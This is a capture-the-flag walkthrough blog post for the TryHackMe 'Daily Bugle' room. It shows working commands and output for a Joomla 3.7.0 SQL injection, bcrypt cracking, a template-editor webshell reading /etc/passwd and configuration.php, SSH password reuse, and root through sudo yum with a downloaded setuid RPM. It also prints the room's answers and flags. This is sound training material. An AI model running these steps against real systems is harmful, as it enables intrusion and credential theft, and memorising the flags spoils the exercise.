Skip to content
Daily Bugle

Daily Bugle

February 6, 2020

Daily Bugle cover: a spider web over a newspaper front page

Daily Bugle is a Spider-Man themed TryHackMe box running an old Joomla site. It chains together a bit of everything: SQL injection, hash cracking, a CMS template turned into a webshell, password reuse and a sudo misconfiguration. Let’s rob J. Jonah Jameson of his root shell.

🕸️
Spoiler alert! This post contains the answers and flags. If you want to solve the room yourself, stop reading here.
⚡
TL;DR — Joomla 3.7.0 SQLi dumps a bcrypt hash, john cracks it, the admin template editor gives code execution as apache, the database password in configuration.php doubles as the SSH password for jjameson, and sudo yum installs a setuid root shell.

Attack path: SQLi, crack bcrypt, template RCE, SSH as jjameson, sudo yum to root

Recon

Task 1: who robbed the bank?

An easy warm-up. Open the article on the front page and the answer is right there.

Access the web server, who robbed the bank?

  • spiderman

Task 2: fingerprinting Joomla

Joomla leaks its version in a few static files. The bundled MooTools gives a first hint:

$ curl http://10.10.86.172/media/system/js/mootools-more.js 2>/dev/null | grep MooTools.More
MooTools.More={version:"1.4.0.1",build:"a4244edf2aa97ac8a196fc96082dd35af1abab87"};(function(){Events.Pseudos=function(h,e,f){var d="_monitorEvents:";var c=function(i){return{store:i.store?function(j,k){i.store(d+j,k);

The language manifest is much more direct:

$ curl http://10.10.86.172/language/en-GB/en-GB.xml
<?xml version="1.0" encoding="utf-8"?>
<metafile version="3.7" client="site">
        <name>English (en-GB)</name>
        <version>3.7.0</version>
        <creationDate>April 2017</creationDate>
        <author>Joomla! Project</author>
        <authorEmail>admin@joomla.org</authorEmail>
        <authorUrl>www.joomla.org</authorUrl>
        <copyright>Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved.</copyright>
        <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
        <description><![CDATA[en-GB site language]]></description>
        <metadata>
                <name>English (en-GB)</name>
                <nativeName>English (United Kingdom)</nativeName>
                <tag>en-GB</tag>
                <rtl>0</rtl>
                <locale>en_GB.utf8, en_GB.UTF-8, en_GB, eng_GB, en, english, english-uk, uk, gbr, britain, england, great britain, uk, united kingdom, united-kingdom</locale>
                <firstDay>0</firstDay>
                <weekEnd>0,6</weekEnd>
                <calendar>gregorian</calendar>
        </metadata>
        <params />
</metafile>

Found it.

What is the Joomla version?

  • 3.7.0

Foothold

SQL injection in Joomla 3.7.0

Some research turned up a few public exploits for the Joomla 3.7.0 SQL injection:

The one that worked best for me was this python exploit:

$ git clone git@github.com:XiphosResearch/exploits.git
$ cd exploits/Joomblah

Run it against the target:

$ python2 joomblah.py http://10.10.86.172

    .---.    .-'''-.        .-'''-.
    |   |   '   _    \     '   _    \                            .---.
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |
 __.'   '                                              |/'..' / '---'/ /   | |_| |     | |
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.
|____.'                                                                `--'  `" '---'   '---'

 [-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: fb9j5_users
  -  Extracting users from fb9j5_users
 [$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
  -  Extracting sessions from fb9j5_session

A Super User called jonah with a bcrypt hash. Nice.

Cracking the hash

I saved the bcrypt hash to hashes.txt and pointed john at it with rockyou:

c:\john-1.9.0-jumbo-1-win64\run>john.exe --wordlist=C:\Users\burso\Downloads\rockyou.txt --rules=wordlist --min-len=12 --max-len=12 ../hashes.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spiderman123     (?)
1g 0:00:00:02 DONE (2020-02-07 10:54) 0.3846g/s 110.7p/s 110.7c/s 110.7C/s ilovepatrick..quetzalcoatl
Use the "--show" option to display all of the cracked passwords reliably
Session completed
🔎
bcrypt is deliberately slow (cost 1024 here), so a full rockyou run would take a long time. Narrowing the search with --min-len=12 --max-len=12 plus word rules got it done in two seconds.

What is Jonah’s cracked password?

  • spiderman123

From Joomla admin to code execution

Log in as admin

Log in at /administrator with jonah / spiderman123.

Open the template editor

Go to /administrator/index.php?option=com_templates&view=template&id=506&file=L2luZGV4LnBocA. This lets us edit the template’s index.php.

Add PHP, save, preview

Put any PHP in there, save the file (don’t forget!) and run it via Template Preview.

system("id");
uid=48(apache) gid=48(apache) groups=48(apache)

Every command we run through the template executes as the apache user. Let’s look around.

system("cat /etc/passwd");
...
jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
...
Full /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin

Jonah’s SSH login is jjameson. Now we need his password. Joomla keeps its database credentials in configuration.php:

system("cat configuration.php");
... public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'root'; public $password = 'nv5uz9r3ZEDzVjNu'; public $db = 'joomla'; public $dbprefix = 'fb9j5_'; ...
Full configuration.php output
system("cat configuration.php");
Please check back again soon.'; public $display_offline_message = '1'; public $offline_image = ''; public $sitename = 'The Daily Bugle'; public $editor = 'tinymce'; public $captcha = '0'; public $list_limit = '20'; public $access = '1'; public $debug = '0'; public $debug_lang = '0'; public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'root'; public $password = 'nv5uz9r3ZEDzVjNu'; public $db = 'joomla'; public $dbprefix = 'fb9j5_'; public $live_site = ''; public $secret = 'UAMBRWzHO3oFPmVC'; public $gzip = '0'; public $error_reporting = 'default'; public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}'; public $ftp_host = '127.0.0.1'; public $ftp_port = '21'; public $ftp_user = ''; public $ftp_pass = ''; public $ftp_root = ''; public $ftp_enable = '0'; public $offset = 'UTC'; public $mailonline = '1'; public $mailer = 'mail'; public $mailfrom = 'jonah@tryhackme.com'; public $fromname = 'The Daily Bugle'; public $sendmail = '/usr/sbin/sendmail'; public $smtpauth = '0'; public $smtpuser = ''; public $smtppass = ''; public $smtphost = 'localhost'; public $smtpsecure = 'none'; public $smtpport = '25'; public $caching = '0'; public $cache_handler = 'file'; public $cachetime = '15'; public $cache_platformprefix = '0'; public $MetaDesc = 'New York City tabloid newspaper'; public $MetaKeys = ''; public $MetaTitle = '1'; public $MetaAuthor = '1'; public $MetaVersion = '0'; public $robots = ''; public $sef = '1'; public $sef_rewrite = '0'; public $sef_suffix = '0'; public $unicodeslugs = '0'; public $feed_limit = '10'; public $feed_email = 'none'; public $log_path = '/var/www/html/administrator/logs'; public $tmp_path = '/var/www/html/tmp'; public $lifetime = '15'; public $session_handler = 'database'; public $shared_session = '0'; }

User

Maybe the database password is also Jonah’s SSH password?

  • username: jjameson
  • password: nv5uz9r3ZEDzVjNu
$ ssh jjameson@10.10.86.172
jjameson@10.10.162.2's password:
Last failed login: Fri Feb  7 10:07:52 EST 2020 from ip-10-8-11-158.eu-west-1.compute.internal on ssh:notty
There were 724 failed login attempts since the last successful login.
Last login: Mon Dec 16 05:14:55 2019 from netwars
🔑
Password reuse strikes again. The MySQL root password from the CMS config is the same as the system user’s SSH password.

Everything works:

[jjameson@dailybugle ~]$ ls
user.txt
[jjameson@dailybugle ~]$ cat user.txt
27a260fe3cba712cfdedb1c86d80442e

What is the user flag?

  • 27a260fe3cba712cfdedb1c86d80442e

Root

Last step: root. First, what can we run with sudo?

[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum

yum as root without a password. That’s a security misconfiguration: a package manager installs whatever package you hand it, as root, including packages that run scripts or drop setuid binaries. More about this technique here, and you can download a ready-made payload here.

Download the payload and copy it over

$ wget https://gist.githubusercontent.com/neoice/797777cb0832f596a70b6cba7bbbcc4f/raw/f3f94e105c23d2c01706736d9cd729dd555e9c53/setuid-pop.rpm
$ scp setuid-pop.rpm jjameson@10.10.86.172:~

Decode it and install with yum

[jjameson@dailybugle ~]$ cat setuid-pop.rpm | base64 -d | gzip -d > yumsploit.rpm
[jjameson@dailybugle ~]$ sudo yum localinstall ~/yumsploit.rpm
Loaded plugins: fastestmirror
Examining /home/jjameson/yumsploit.rpm: sploit-1.0-1.x86_64
Marking /home/jjameson/yumsploit.rpm to be installed
Resolving Dependencies
--> Running transaction check
---> Package sploit.x86_64 0:1.0-1 will be installed
--> Finished Dependency Resolution

Dependencies Resolved
...
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : sploit-1.0-1.x86_64                                                                                                                                                                              1/1
  Verifying  : sploit-1.0-1.x86_64                                                                                                                                                                              1/1

Installed:
  sploit.x86_64 0:1.0-1

Complete!

Check the result

The package dropped a pop binary into /usr/local/bin with the setuid bit set, so it runs with root privileges.

[jjameson@dailybugle ~]$ ls -la /usr/local/bin
total 12
drwxr-xr-x.  2 root root   17 Feb  7 10:43 .
drwxr-xr-x. 12 root root  131 Dec 14 13:57 ..
-rwsr-sr-x   1 root root 8744 Jan 18  2019 pop

Pop a root shell

[jjameson@dailybugle ~]$ pop
[root@dailybugle ~]# id
uid=0(root) gid=0(root) groups=0(root),1000(jjameson)
[root@dailybugle ~]# cat /root/root.txt
eec3d53292b1821868266858d7fa6f79

Done! We are root.

What is the root flag?

  • eec3d53292b1821868266858d7fa6f79

Lessons learned

  • Old CMS versions are easy to fingerprint from static files like language manifests, and public exploits follow quickly.
  • A CMS admin account is code execution. Template editors are basically webshells.
  • Never reuse the database password for a system account.
  • NOPASSWD sudo on a package manager (yum, rpm, dnf, apt) is the same as giving away root.
Last updated on